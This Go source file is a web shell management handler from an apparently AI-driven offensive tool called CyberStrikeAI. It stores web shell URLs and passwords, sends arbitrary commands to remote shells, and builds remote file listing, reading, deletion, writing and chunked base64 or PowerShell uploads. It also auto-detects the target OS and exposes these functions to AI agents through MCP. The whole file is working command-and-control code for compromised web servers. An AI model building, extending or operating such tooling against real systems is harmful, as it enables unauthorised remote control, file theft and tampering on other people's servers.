package handler import ( "bytes" "database/sql" "encoding/base64" "encoding/json" "io" "net/http" "net/url" "strings" "time" "unicode/utf8" "cyberstrike-ai/internal/database" "github.com/gin-gonic/gin" "github.com/google/uuid" "go.uber.org/zap" "golang.org/x/text/encoding/simplifiedchinese" "golang.org/x/text/transform" ) // webshellSupportedEncodings 允许的 WebShell 响应编码取值(小写,含空串代表 auto) // 仅暴露目前最常见的几种,其他需求可后续扩展(如 Big5、Shift_JIS 等)。 var webshellSupportedEncodings = map[string]struct{}{ "": {}, // 未配置,按 auto 处理 "auto": {}, "utf-8": {}, "utf8": {}, "gbk": {}, "gb18030": {}, } // normalizeWebshellEncoding 归一化编码标识:统一为小写,未知值回退为 auto,供持久化使用 func normalizeWebshellEncoding(enc string) string { enc = strings.ToLower(strings.TrimSpace(enc)) if _, ok := webshellSupportedEncodings[enc]; !ok { return "auto" } if enc == "" { return "auto" } if enc == "utf8" { return "utf-8" } return enc } // decodeWebshellOutput 把 WebShell 返回的字节按指定编码转换为合法 UTF-8 字符串。 // 约定: // - "" / "auto":若已是合法 UTF-8 原样返回,否则依次尝试 GB18030(GBK 超集)解码。 // - "utf-8" / "utf8":原样返回,非法字节交由 JSON 层按 U+FFFD 处理(保持原有行为)。 // - "gbk" / "gb18030":强制按对应编码解码;失败则回退原始字节。 // // 该函数对空输入直接返回空串,避免不必要的转换。 func decodeWebshellOutput(raw []byte, encoding string) string { if len(raw) == 0 { return "" } enc := normalizeWebshellEncoding(encoding) switch enc { case "utf-8": return string(raw) case "gbk": if out, _, err := transform.Bytes(simplifiedchinese.GBK.NewDecoder(), raw); err == nil { return string(out) } return string(raw) case "gb18030": if out, _, err := transform.Bytes(simplifiedchinese.GB18030.NewDecoder(), raw); err == nil { return string(out) } return string(raw) default: // auto if utf8.Valid(raw) { return string(raw) } // GB18030 是 GBK 的超集,覆盖范围最广,auto 模式统一用它兜底 if out, _, err := transform.Bytes(simplifiedchinese.GB18030.NewDecoder(), raw); err == nil { return string(out) } return string(raw) } } // webshellSupportedOS 允许的 WebShell 目标操作系统(小写,空串代表 auto) var webshellSupportedOS = map[string]struct{}{ "": {}, "auto": {}, "linux": {}, "windows": {}, } // normalizeWebshellOS 归一化 OS 标识,未知值回退为 auto,供持久化使用 func normalizeWebshellOS(osTag string) string { osTag = strings.ToLower(strings.TrimSpace(osTag)) if _, ok := webshellSupportedOS[osTag]; !ok { return "auto" } if osTag == "" { return "auto" } return osTag } // resolveWebshellOS 根据连接的 os 与 shellType 推断最终目标 OS(仅返回 "linux" 或 "windows")。 // 规则: // - 显式 linux / windows:按用户选择。 // - auto 或未知:asp/aspx → windows,其他 → linux。保持历史行为,平滑向后兼容。 func resolveWebshellOS(osTag, shellType string) string { osTag = strings.ToLower(strings.TrimSpace(osTag)) switch osTag { case "linux": return "linux" case "windows": return "windows" } t := strings.ToLower(strings.TrimSpace(shellType)) if t == "asp" || t == "aspx" { return "windows" } return "linux" } // quoteCmdPath 把路径按 Windows cmd.exe 规则转义。 // 使用双引号包裹,内部双引号转义为 ""(cmd 接受的写法)。 func quoteCmdPath(p string) string { if p == "" { return "\".\"" } return "\"" + strings.ReplaceAll(p, "\"", "\"\"") + "\"" } // quotePsSingle 把字符串按 PowerShell 单引号字符串规则转义(内部 ' → '')。 // 供 PowerShell 脚本参数使用,全脚本只用单引号,外层 cmd 再用双引号包裹即可安全传递。 func quotePsSingle(s string) string { return "'" + strings.ReplaceAll(s, "'", "''") + "'" } // quoteShellSinglePosix 把路径按 POSIX sh 单引号规则转义(内部 ' → '\'') func quoteShellSinglePosix(p string) string { if p == "" { return "." } return "'" + strings.ReplaceAll(p, "'", "'\\''") + "'" } // quoteWebshellPath 按目标 OS 选择转义方案:Linux 用 POSIX 单引号,Windows 用 cmd 双引号 func quoteWebshellPath(path, osTag string) string { if resolveWebshellOS(osTag, "") == "windows" { return quoteCmdPath(path) } return quoteShellSinglePosix(path) } // buildWindowsPowerShellWrite 构造 Windows 端把 base64 内容一次性写入目标路径的 cmd 命令。 // 外层走 cmd.exe 的 powershell 调用,PowerShell 脚本里只用单引号字符串,避免嵌套引号陷阱。 func buildWindowsPowerShellWrite(path, b64 string) string { script := "$b=[Convert]::FromBase64String(" + quotePsSingle(b64) + ");" + "[IO.File]::WriteAllBytes(" + quotePsSingle(path) + ",$b)" return "powershell -NoProfile -NonInteractive -Command \"" + script + "\"" } // buildWindowsPowerShellAppend 构造 Windows 端把 base64 内容追加写入目标路径的 cmd 命令(用于分块上传) func buildWindowsPowerShellAppend(path, b64 string) string { script := "$b=[Convert]::FromBase64String(" + quotePsSingle(b64) + ");" + "$f=[IO.File]::Open(" + quotePsSingle(path) + ",[IO.FileMode]::Append,[IO.FileAccess]::Write,[IO.FileShare]::None);" + "try{$f.Write($b,0,$b.Length)}finally{$f.Close()}" return "powershell -NoProfile -NonInteractive -Command \"" + script + "\"" } // fileCommandInput 封装 buildFileCommand 的输入,避免长参数列表 type fileCommandInput struct { Action string Path string TargetPath string Content string ChunkIndex int OS string ShellType string } // buildFileCommand 根据目标 OS 与文件操作类型生成具体的远端命令字符串。 // 同一份实现供 HTTP 入口(FileOp)与 MCP 入口(FileOpWithConnection)共用,避免双份维护。 // 返回值第二位是用户可见的业务错误(如 "path is required")。 func (h *WebShellHandler) buildFileCommand(in fileCommandInput) (string, error) { targetOS := resolveWebshellOS(in.OS, in.ShellType) action := strings.ToLower(strings.TrimSpace(in.Action)) path := strings.TrimSpace(in.Path) switch action { case "list": p := path if p == "" { p = "." } if targetOS == "windows" { return "dir /a " + quoteCmdPath(p), nil } return "ls -la " + quoteShellSinglePosix(p), nil case "read": if path == "" { return "", errFileOpPathRequired } if targetOS == "windows" { return "type " + quoteCmdPath(path), nil } return "cat " + quoteShellSinglePosix(path), nil case "delete": if path == "" { return "", errFileOpPathRequired } if targetOS == "windows" { return "del /q /f " + quoteCmdPath(path), nil } return "rm -f " + quoteShellSinglePosix(path), nil case "mkdir": if path == "" { return "", errFileOpPathRequired } if targetOS == "windows" { // cmd 的 md 默认会自动创建中间目录(等价于 Linux 的 mkdir -p) return "md " + quoteCmdPath(path), nil } return "mkdir -p " + quoteShellSinglePosix(path), nil case "rename": oldPath := path newPath := strings.TrimSpace(in.TargetPath) if oldPath == "" || newPath == "" { return "", errFileOpRenameNeedsBothPaths } if targetOS == "windows" { return "move /y " + quoteCmdPath(oldPath) + " " + quoteCmdPath(newPath), nil } return "mv -f " + quoteShellSinglePosix(oldPath) + " " + quoteShellSinglePosix(newPath), nil case "write": if path == "" { return "", errFileOpPathRequired } // 统一策略:先把内容 base64 编码,再用目标平台对应方式解码写回, // 这样既能写入任意二进制/含引号的文本,又避免各家 shell 的转义地狱。 b64 := base64.StdEncoding.EncodeToString([]byte(in.Content)) if targetOS == "windows" { return buildWindowsPowerShellWrite(path, b64), nil } return "echo '" + b64 + "' | base64 -d > " + quoteShellSinglePosix(path), nil case "upload": if path == "" { return "", errFileOpPathRequired } if len(in.Content) > 512*1024 { return "", errFileOpUploadTooLarge } if targetOS == "windows" { return buildWindowsPowerShellWrite(path, in.Content), nil } return "echo '" + in.Content + "' | base64 -d > " + quoteShellSinglePosix(path), nil case "upload_chunk": if path == "" { return "", errFileOpPathRequired } if targetOS == "windows" { if in.ChunkIndex == 0 { return buildWindowsPowerShellWrite(path, in.Content), nil } return buildWindowsPowerShellAppend(path, in.Content), nil } redir := ">>" if in.ChunkIndex == 0 { redir = ">" } return "echo '" + in.Content + "' | base64 -d " + redir + " " + quoteShellSinglePosix(path), nil } return "", errFileOpUnsupportedAction(action) } // 业务错误常量,便于上层统一返回用户可见提示 var ( errFileOpPathRequired = simpleError("path is required") errFileOpRenameNeedsBothPaths = simpleError("path and target_path are required for rename") errFileOpUploadTooLarge = simpleError("upload content too large (max 512KB base64)") ) func errFileOpUnsupportedAction(action string) error { return simpleError("unsupported action: " + action) } // simpleError 是不带堆栈的轻量错误类型,供 buildFileCommand 报可预期的参数校验错误 type simpleError string func (e simpleError) Error() string { return string(e) } // WebShellHandler 代理执行 WebShell 命令(类似冰蝎/蚁剑),避免前端跨域并统一构建请求 type WebShellHandler struct { logger *zap.Logger client *http.Client db *database.DB } // NewWebShellHandler 创建 WebShell 处理器,db 可为 nil(连接配置接口将不可用) func NewWebShellHandler(logger *zap.Logger, db *database.DB) *WebShellHandler { return &WebShellHandler{ logger: logger, client: &http.Client{ Timeout: 30 * time.Second, Transport: &http.Transport{DisableKeepAlives: false}, }, db: db, } } // CreateConnectionRequest 创建连接请求 type CreateConnectionRequest struct { URL string `json:"url" binding:"required"` Password string `json:"password"` Type string `json:"type"` Method string `json:"method"` CmdParam string `json:"cmd_param"` Remark string `json:"remark"` Encoding string `json:"encoding"` OS string `json:"os"` } // UpdateConnectionRequest 更新连接请求 type UpdateConnectionRequest struct { URL string `json:"url" binding:"required"` Password string `json:"password"` Type string `json:"type"` Method string `json:"method"` CmdParam string `json:"cmd_param"` Remark string `json:"remark"` Encoding string `json:"encoding"` OS string `json:"os"` } // ListConnections 列出所有 WebShell 连接(GET /api/webshell/connections) func (h *WebShellHandler) ListConnections(c *gin.Context) { if h.db == nil { c.JSON(http.StatusServiceUnavailable, gin.H{"error": "database not available"}) return } list, err := h.db.ListWebshellConnections() if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) return } if list == nil { list = []database.WebShellConnection{} } c.JSON(http.StatusOK, list) } // CreateConnection 创建 WebShell 连接(POST /api/webshell/connections) func (h *WebShellHandler) CreateConnection(c *gin.Context) { if h.db == nil { c.JSON(http.StatusServiceUnavailable, gin.H{"error": "database not available"}) return } var req CreateConnectionRequest if err := c.ShouldBindJSON(&req); err != nil { c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) return } req.URL = strings.TrimSpace(req.URL) if req.URL == "" { c.JSON(http.StatusBadRequest, gin.H{"error": "url is required"}) return } if _, err := url.Parse(req.URL); err != nil { c.JSON(http.StatusBadRequest, gin.H{"error": "invalid url"}) return } method := strings.ToLower(strings.TrimSpace(req.Method)) if method != "get" && method != "post" { method = "post" } shellType := strings.ToLower(strings.TrimSpace(req.Type)) if shellType == "" { shellType = "php" } conn := &database.WebShellConnection{ ID: "ws_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:12], URL: req.URL, Password: strings.TrimSpace(req.Password), Type: shellType, Method: method, CmdParam: strings.TrimSpace(req.CmdParam), Remark: strings.TrimSpace(req.Remark), Encoding: normalizeWebshellEncoding(req.Encoding), OS: normalizeWebshellOS(req.OS), CreatedAt: time.Now(), } if err := h.db.CreateWebshellConnection(conn); err != nil { c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) return } c.JSON(http.StatusOK, conn) } // UpdateConnection 更新 WebShell 连接(PUT /api/webshell/connections/:id) func (h *WebShellHandler) UpdateConnection(c *gin.Context) { if h.db == nil { c.JSON(http.StatusServiceUnavailable, gin.H{"error": "database not available"}) return } id := strings.TrimSpace(c.Param("id")) if id == "" { c.JSON(http.StatusBadRequest, gin.H{"error": "id is required"}) return } var req UpdateConnectionRequest if err := c.ShouldBindJSON(&req); err != nil { c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) return } req.URL = strings.TrimSpace(req.URL) if req.URL == "" { c.JSON(http.StatusBadRequest, gin.H{"error": "url is required"}) return } if _, err := url.Parse(req.URL); err != nil { c.JSON(http.StatusBadRequest, gin.H{"error": "invalid url"}) return } method := strings.ToLower(strings.TrimSpace(req.Method)) if method != "get" && method != "post" { method = "post" } shellType := strings.ToLower(strings.TrimSpace(req.Type)) if shellType == "" { shellType = "php" } conn := &database.WebShellConnection{ ID: id, URL: req.URL, Password: strings.TrimSpace(req.Password), Type: shellType, Method: method, CmdParam: strings.TrimSpace(req.CmdParam), Remark: strings.TrimSpace(req.Remark), Encoding: normalizeWebshellEncoding(req.Encoding), OS: normalizeWebshellOS(req.OS), } if err := h.db.UpdateWebshellConnection(conn); err != nil { if err == sql.ErrNoRows { c.JSON(http.StatusNotFound, gin.H{"error": "connection not found"}) return } c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) return } updated, _ := h.db.GetWebshellConnection(id) if updated != nil { c.JSON(http.StatusOK, updated) } else { c.JSON(http.StatusOK, conn) } } // DeleteConnection 删除 WebShell 连接(DELETE /api/webshell/connections/:id) func (h *WebShellHandler) DeleteConnection(c *gin.Context) { if h.db == nil { c.JSON(http.StatusServiceUnavailable, gin.H{"error": "database not available"}) return } id := strings.TrimSpace(c.Param("id")) if id == "" { c.JSON(http.StatusBadRequest, gin.H{"error": "id is required"}) return } if err := h.db.DeleteWebshellConnection(id); err != nil { if err == sql.ErrNoRows { c.JSON(http.StatusNotFound, gin.H{"error": "connection not found"}) return } c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) return } c.JSON(http.StatusOK, gin.H{"ok": true}) } // GetConnectionState 获取 WebShell 连接关联的前端持久化状态(GET /api/webshell/connections/:id/state) func (h *WebShellHandler) GetConnectionState(c *gin.Context) { if h.db == nil { c.JSON(http.StatusServiceUnavailable, gin.H{"error": "database not available"}) return } id := strings.TrimSpace(c.Param("id")) if id == "" { c.JSON(http.StatusBadRequest, gin.H{"error": "id is required"}) return } conn, err := h.db.GetWebshellConnection(id) if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) return } if conn == nil { c.JSON(http.StatusNotFound, gin.H{"error": "connection not found"}) return } stateJSON, err := h.db.GetWebshellConnectionState(id) if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) return } var state interface{} if err := json.Unmarshal([]byte(stateJSON), &state); err != nil { state = map[string]interface{}{} } c.JSON(http.StatusOK, gin.H{"state": state}) } // SaveConnectionState 保存 WebShell 连接关联的前端持久化状态(PUT /api/webshell/connections/:id/state) func (h *WebShellHandler) SaveConnectionState(c *gin.Context) { if h.db == nil { c.JSON(http.StatusServiceUnavailable, gin.H{"error": "database not available"}) return } id := strings.TrimSpace(c.Param("id")) if id == "" { c.JSON(http.StatusBadRequest, gin.H{"error": "id is required"}) return } conn, err := h.db.GetWebshellConnection(id) if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) return } if conn == nil { c.JSON(http.StatusNotFound, gin.H{"error": "connection not found"}) return } var req struct { State json.RawMessage `json:"state"` } if err := c.ShouldBindJSON(&req); err != nil { c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) return } raw := req.State if len(raw) == 0 { raw = json.RawMessage(`{}`) } if len(raw) > 2*1024*1024 { c.JSON(http.StatusBadRequest, gin.H{"error": "state payload too large (max 2MB)"}) return } var anyJSON interface{} if err := json.Unmarshal(raw, &anyJSON); err != nil { c.JSON(http.StatusBadRequest, gin.H{"error": "state must be valid json"}) return } if err := h.db.UpsertWebshellConnectionState(id, string(raw)); err != nil { c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) return } c.JSON(http.StatusOK, gin.H{"ok": true}) } // GetAIHistory 获取指定 WebShell 连接的 AI 助手对话历史(GET /api/webshell/connections/:id/ai-history) func (h *WebShellHandler) GetAIHistory(c *gin.Context) { if h.db == nil { c.JSON(http.StatusServiceUnavailable, gin.H{"error": "database not available"}) return } id := strings.TrimSpace(c.Param("id")) if id == "" { c.JSON(http.StatusBadRequest, gin.H{"error": "id is required"}) return } conv, err := h.db.GetConversationByWebshellConnectionID(id) if err != nil { h.logger.Warn("获取 WebShell AI 对话失败", zap.String("connectionId", id), zap.Error(err)) c.JSON(http.StatusOK, gin.H{"conversationId": nil, "messages": []database.Message{}}) return } if conv == nil { c.JSON(http.StatusOK, gin.H{"conversationId": nil, "messages": []database.Message{}}) return } c.JSON(http.StatusOK, gin.H{"conversationId": conv.ID, "messages": conv.Messages}) } // ListAIConversations 列出该 WebShell 连接下的所有 AI 对话(供侧边栏) func (h *WebShellHandler) ListAIConversations(c *gin.Context) { if h.db == nil { c.JSON(http.StatusServiceUnavailable, gin.H{"error": "database not available"}) return } id := strings.TrimSpace(c.Param("id")) if id == "" { c.JSON(http.StatusBadRequest, gin.H{"error": "id is required"}) return } list, err := h.db.ListConversationsByWebshellConnectionID(id) if err != nil { h.logger.Warn("列出 WebShell AI 对话失败", zap.String("connectionId", id), zap.Error(err)) c.JSON(http.StatusOK, []database.WebShellConversationItem{}) return } if list == nil { list = []database.WebShellConversationItem{} } c.JSON(http.StatusOK, list) } // ExecRequest 执行命令请求(前端传入连接信息 + 命令) type ExecRequest struct { URL string `json:"url" binding:"required"` Password string `json:"password"` Type string `json:"type"` // php, asp, aspx, jsp, custom Method string `json:"method"` // GET 或 POST,空则默认 POST CmdParam string `json:"cmd_param"` // 命令参数名,如 cmd/xxx,空则默认 cmd Encoding string `json:"encoding"` // 响应编码:auto / utf-8 / gbk / gb18030,空则 auto OS string `json:"os"` // 目标操作系统:auto / linux / windows,当前 exec 不用它,保留字段便于未来扩展 Command string `json:"command" binding:"required"` } // ExecResponse 执行命令响应 type ExecResponse struct { OK bool `json:"ok"` Output string `json:"output"` Error string `json:"error,omitempty"` HTTPCode int `json:"http_code,omitempty"` } // FileOpRequest 文件操作请求 type FileOpRequest struct { URL string `json:"url" binding:"required"` Password string `json:"password"` Type string `json:"type"` Method string `json:"method"` // GET 或 POST,空则默认 POST CmdParam string `json:"cmd_param"` // 命令参数名,如 cmd/xxx,空则默认 cmd Encoding string `json:"encoding"` // 响应编码:auto / utf-8 / gbk / gb18030,空则 auto OS string `json:"os"` // 目标操作系统:auto / linux / windows,空则按 shellType 推断 ConnectionID string `json:"connection_id,omitempty"` // 可选:连接 ID;服务端探活出 OS 后会回写到此连接 Action string `json:"action" binding:"required"` // list, read, delete, write, mkdir, rename, upload, upload_chunk Path string `json:"path"` TargetPath string `json:"target_path"` // rename 时目标路径 Content string `json:"content"` // write/upload 时使用 ChunkIndex int `json:"chunk_index"` // upload_chunk 时,0 表示首块 } // FileOpResponse 文件操作响应 type FileOpResponse struct { OK bool `json:"ok"` Output string `json:"output"` Error string `json:"error,omitempty"` DetectedOS string `json:"detected_os,omitempty"` // 仅在 auto 模式且探活成功时返回,前端应更新本地缓存 } func (h *WebShellHandler) Exec(c *gin.Context) { var req ExecRequest if err := c.ShouldBindJSON(&req); err != nil { c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) return } req.URL = strings.TrimSpace(req.URL) req.Command = strings.TrimSpace(req.Command) if req.URL == "" || req.Command == "" { c.JSON(http.StatusBadRequest, gin.H{"error": "url and command are required"}) return } parsed, err := url.Parse(req.URL) if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") { c.JSON(http.StatusBadRequest, gin.H{"error": "invalid url: only http(s) allowed"}) return } useGET := strings.ToUpper(strings.TrimSpace(req.Method)) == "GET" cmdParam := strings.TrimSpace(req.CmdParam) if cmdParam == "" { cmdParam = "cmd" } var httpReq *http.Request if useGET { targetURL := h.buildExecURL(req.URL, req.Type, req.Password, cmdParam, req.Command) httpReq, err = http.NewRequest(http.MethodGet, targetURL, nil) } else { body := h.buildExecBody(req.Type, req.Password, cmdParam, req.Command) httpReq, err = http.NewRequest(http.MethodPost, req.URL, bytes.NewReader(body)) httpReq.Header.Set("Content-Type", "application/x-www-form-urlencoded") } if err != nil { h.logger.Warn("webshell exec NewRequest", zap.Error(err)) c.JSON(http.StatusInternalServerError, ExecResponse{OK: false, Error: err.Error()}) return } httpReq.Header.Set("User-Agent", "Mozilla/5.0 (compatible; CyberStrikeAI-WebShell/1.0)") resp, err := h.client.Do(httpReq) if err != nil { h.logger.Warn("webshell exec Do", zap.String("url", req.URL), zap.Error(err)) c.JSON(http.StatusOK, ExecResponse{OK: false, Error: err.Error()}) return } defer resp.Body.Close() out, readErr := io.ReadAll(resp.Body) if readErr != nil { h.logger.Warn("webshell exec read body", zap.Error(readErr)) } output := decodeWebshellOutput(out, req.Encoding) httpCode := resp.StatusCode c.JSON(http.StatusOK, ExecResponse{ OK: resp.StatusCode == http.StatusOK, Output: output, HTTPCode: httpCode, }) } // buildExecBody 按常见 WebShell 约定构建 POST 体(多数使用 pass + cmd,可配置命令参数名) func (h *WebShellHandler) buildExecBody(shellType, password, cmdParam, command string) []byte { form := h.execParams(shellType, password, cmdParam, command) return []byte(form.Encode()) } // buildExecURL 构建 GET 请求的完整 URL(baseURL + ?pass=xxx&cmd=yyy,cmd 可配置) func (h *WebShellHandler) buildExecURL(baseURL, shellType, password, cmdParam, command string) string { form := h.execParams(shellType, password, cmdParam, command) if parsed, err := url.Parse(baseURL); err == nil { parsed.RawQuery = form.Encode() return parsed.String() } return baseURL + "?" + form.Encode() } func (h *WebShellHandler) execParams(shellType, password, cmdParam, command string) url.Values { shellType = strings.ToLower(strings.TrimSpace(shellType)) if shellType == "" { shellType = "php" } if strings.TrimSpace(cmdParam) == "" { cmdParam = "cmd" } form := url.Values{} form.Set("pass", password) form.Set(cmdParam, command) return form } func (h *WebShellHandler) FileOp(c *gin.Context) { var req FileOpRequest if err := c.ShouldBindJSON(&req); err != nil { c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) return } req.URL = strings.TrimSpace(req.URL) req.Action = strings.ToLower(strings.TrimSpace(req.Action)) if req.URL == "" || req.Action == "" { c.JSON(http.StatusBadRequest, gin.H{"error": "url and action are required"}) return } parsed, err := url.Parse(req.URL) if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") { c.JSON(http.StatusBadRequest, gin.H{"error": "invalid url: only http(s) allowed"}) return } // 若 OS 未显式配置,先发一次探活命令,识别出真实 OS 再构造文件操作命令。 // 这解决了 "Windows + PHP + OS=auto" 场景下旧 fallback 错发 `ls -la` 导致目录列不出来的问题。 osTag := req.OS detectedOS := "" if normalizeWebshellOS(osTag) == "auto" { if probed := probeWebshellOSViaExec(h.newHTTPExecFn(req.URL, req.Password, req.Type, req.Method, req.CmdParam, req.Encoding)); probed != "" { osTag = probed detectedOS = probed // 若前端带了 connection_id,顺带把探活结果持久化到该连接,后续刷新零成本 if cid := strings.TrimSpace(req.ConnectionID); cid != "" { h.persistDetectedOS(cid, probed) } } } command, cmdErr := h.buildFileCommand(fileCommandInput{ Action: req.Action, Path: req.Path, TargetPath: req.TargetPath, Content: req.Content, ChunkIndex: req.ChunkIndex, OS: osTag, ShellType: req.Type, }) if cmdErr != nil { c.JSON(http.StatusBadRequest, FileOpResponse{OK: false, Error: cmdErr.Error()}) return } useGET := strings.ToUpper(strings.TrimSpace(req.Method)) == "GET" cmdParam := strings.TrimSpace(req.CmdParam) if cmdParam == "" { cmdParam = "cmd" } var httpReq *http.Request if useGET { targetURL := h.buildExecURL(req.URL, req.Type, req.Password, cmdParam, command) httpReq, err = http.NewRequest(http.MethodGet, targetURL, nil) } else { body := h.buildExecBody(req.Type, req.Password, cmdParam, command) httpReq, err = http.NewRequest(http.MethodPost, req.URL, bytes.NewReader(body)) httpReq.Header.Set("Content-Type", "application/x-www-form-urlencoded") } if err != nil { c.JSON(http.StatusInternalServerError, FileOpResponse{OK: false, Error: err.Error()}) return } httpReq.Header.Set("User-Agent", "Mozilla/5.0 (compatible; CyberStrikeAI-WebShell/1.0)") resp, err := h.client.Do(httpReq) if err != nil { c.JSON(http.StatusOK, FileOpResponse{OK: false, Error: err.Error()}) return } defer resp.Body.Close() out, readErr := io.ReadAll(resp.Body) if readErr != nil { h.logger.Warn("webshell fileop read body", zap.Error(readErr)) } output := decodeWebshellOutput(out, req.Encoding) c.JSON(http.StatusOK, FileOpResponse{ OK: resp.StatusCode == http.StatusOK, Output: output, DetectedOS: detectedOS, }) } // ExecWithConnection 在指定 WebShell 连接上执行命令(供 MCP/Agent 等非 HTTP 调用) func (h *WebShellHandler) ExecWithConnection(conn *database.WebShellConnection, command string) (output string, ok bool, errMsg string) { if conn == nil { return "", false, "connection is nil" } command = strings.TrimSpace(command) if command == "" { return "", false, "command is required" } useGET := strings.ToUpper(strings.TrimSpace(conn.Method)) == "GET" cmdParam := strings.TrimSpace(conn.CmdParam) if cmdParam == "" { cmdParam = "cmd" } var httpReq *http.Request var err error if useGET { targetURL := h.buildExecURL(conn.URL, conn.Type, conn.Password, cmdParam, command) httpReq, err = http.NewRequest(http.MethodGet, targetURL, nil) } else { body := h.buildExecBody(conn.Type, conn.Password, cmdParam, command) httpReq, err = http.NewRequest(http.MethodPost, conn.URL, bytes.NewReader(body)) httpReq.Header.Set("Content-Type", "application/x-www-form-urlencoded") } if err != nil { return "", false, err.Error() } httpReq.Header.Set("User-Agent", "Mozilla/5.0 (compatible; CyberStrikeAI-WebShell/1.0)") resp, err := h.client.Do(httpReq) if err != nil { return "", false, err.Error() } defer resp.Body.Close() out, readErr := io.ReadAll(resp.Body) if readErr != nil { h.logger.Warn("webshell ExecWithConnection read body", zap.Error(readErr)) } return decodeWebshellOutput(out, conn.Encoding), resp.StatusCode == http.StatusOK, "" } // FileOpWithConnection 在指定 WebShell 连接上执行文件操作(供 MCP/Agent 调用),支持 list / read / write func (h *WebShellHandler) FileOpWithConnection(conn *database.WebShellConnection, action, path, content, targetPath string) (output string, ok bool, errMsg string) { if conn == nil { return "", false, "connection is nil" } action = strings.ToLower(strings.TrimSpace(action)) // MCP 入口仅开放 list / read / write 三种动作,与工具文档的承诺保持一致 switch action { case "list", "read", "write": // 支持的动作 default: return "", false, "unsupported action: " + action + " (supported: list, read, write)" } // 若连接的 OS 为 auto,先探活并持久化,避免 AI/MCP 每次都对 Windows 发 `ls -la` osTag := conn.OS if normalizeWebshellOS(osTag) == "auto" { if probed := probeWebshellOSViaExec(func(cmd string) (string, bool) { out, exOk, _ := h.ExecWithConnection(conn, cmd) return out, exOk }); probed != "" { osTag = probed conn.OS = probed // 本次请求内使用探活结果 h.persistDetectedOS(conn.ID, probed) } } command, cmdErr := h.buildFileCommand(fileCommandInput{ Action: action, Path: path, TargetPath: targetPath, Content: content, OS: osTag, ShellType: conn.Type, }) if cmdErr != nil { return "", false, cmdErr.Error() } useGET := strings.ToUpper(strings.TrimSpace(conn.Method)) == "GET" cmdParam := strings.TrimSpace(conn.CmdParam) if cmdParam == "" { cmdParam = "cmd" } var httpReq *http.Request var err error if useGET { targetURL := h.buildExecURL(conn.URL, conn.Type, conn.Password, cmdParam, command) httpReq, err = http.NewRequest(http.MethodGet, targetURL, nil) } else { body := h.buildExecBody(conn.Type, conn.Password, cmdParam, command) httpReq, err = http.NewRequest(http.MethodPost, conn.URL, bytes.NewReader(body)) httpReq.Header.Set("Content-Type", "application/x-www-form-urlencoded") } if err != nil { return "", false, err.Error() } httpReq.Header.Set("User-Agent", "Mozilla/5.0 (compatible; CyberStrikeAI-WebShell/1.0)") resp, err := h.client.Do(httpReq) if err != nil { return "", false, err.Error() } defer resp.Body.Close() out, readErr := io.ReadAll(resp.Body) if readErr != nil { h.logger.Warn("webshell FileOpWithConnection read body", zap.Error(readErr)) } return decodeWebshellOutput(out, conn.Encoding), resp.StatusCode == http.StatusOK, "" }